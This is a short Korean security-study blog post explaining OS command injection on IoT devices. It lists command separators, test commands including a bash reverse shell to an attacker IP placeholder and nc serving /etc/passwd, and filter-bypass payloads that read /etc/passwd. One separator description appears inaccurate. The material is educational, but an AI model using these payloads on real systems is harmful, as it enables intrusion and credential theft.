정보보안

[IoT보안] OS 커멘드 인젝션이란?

영민하게 2022. 12. 12. 21:45
반응형

[IoT보안이란?] 2022.12.12 - [정보보안] - [IoT 보안] IoT 보안 및 점검대상 알아보기

 

[IoT 보안] IoT보안 및 점검대상 알아보기

IoT란? : Internet of Things의 약어로 사물에 센서와 통신 기능을 내장하여 인터넷에 연결하는 기술을 의미한다. - wikipedia 일상속의 IoT IoT 해킹 취약성 · 디바이스에 관리 목적으로 내장된 수단이 악

cloudinfosec.tistory.com

 

OS 커멘드 인젝션 (Command Injection)

  공격자가 구문을 삽입하여 악의된 명령이 실행되는 공격기법을 말한다.

IoT 기기 특성상 온전한 운영체제로 사용자에게 제공되기 때문에, 커멘드 인젝션은 필수 점검 항목으로 꼽힌다.


  명령구분자

: 방어법으로  사용되는 필터링을 우회하기 위해 명령 구분자가 사용된다.

(명령1) ; (명령2) 명령1의 성공여부와 관계없이 명령2를 실행
(명령1) $ (명령2) 명령1을 백그라운드로 실행하며 명령2를 실행
(명령1) | (명령2) 명령1의 실행결과를 명령2의 입력값으로 실행

  공격 테스트 명령

명령어 설명
ping -c 10 (공격자 IP) 공격자 IP로 ICMP메시지를 10번 전송하는 명령어, 공격자는 10개의 패킷 수신 여부를 통해 공격의 성공여부를 알 수 있다.
nc -l -p (포트번호) < etc/passwd 공격 성공 이후 공격자 pc 접근시 패스워드 파일의 내용을 노출시킨다.
bash -i > & /dev/tcp/(공격자IP)/(포트번호) 0>&1  bash쉘을 사용할 경우 해당 명령어로 대화형 쉘을 획득 할 수 있다.
telnetd 텔넷 서비스를 구동한다. 공격자는 로컬 PC에 텔넷으로 접근하여 공격 성공여부를 확인 할 수 있다.
busybox (명령어) UNIX기반 시스템의 경우 busybox상 다양한 명령어가 존재할 수 있다.

  필터링 우회

: bash 쉘의 경우 IFS(Internal Field Separator)라는 내부 필드 구분자가 존재하며 다양한 우회 기법을 점검할 수 있다.

 중괄호 및 쉼표:    {cat,/etc/passwd}

환경변수 호출 및 공백:   X=$'cat\x20/etc/passwd'&&$X

   c'a't /etc/passwd

백 슬래시 사용:    c\a\t /etc/passwd

와일드카드 사용:    /b??/?? t /???/p?? s?? 

 

 

본 게시물은 학습 기록을 위한 포스팅입니다. 악의적인 목적으로 이용 시 발생할 수 있는 모든 법적 책임은 자신에게 있습니다.

반응형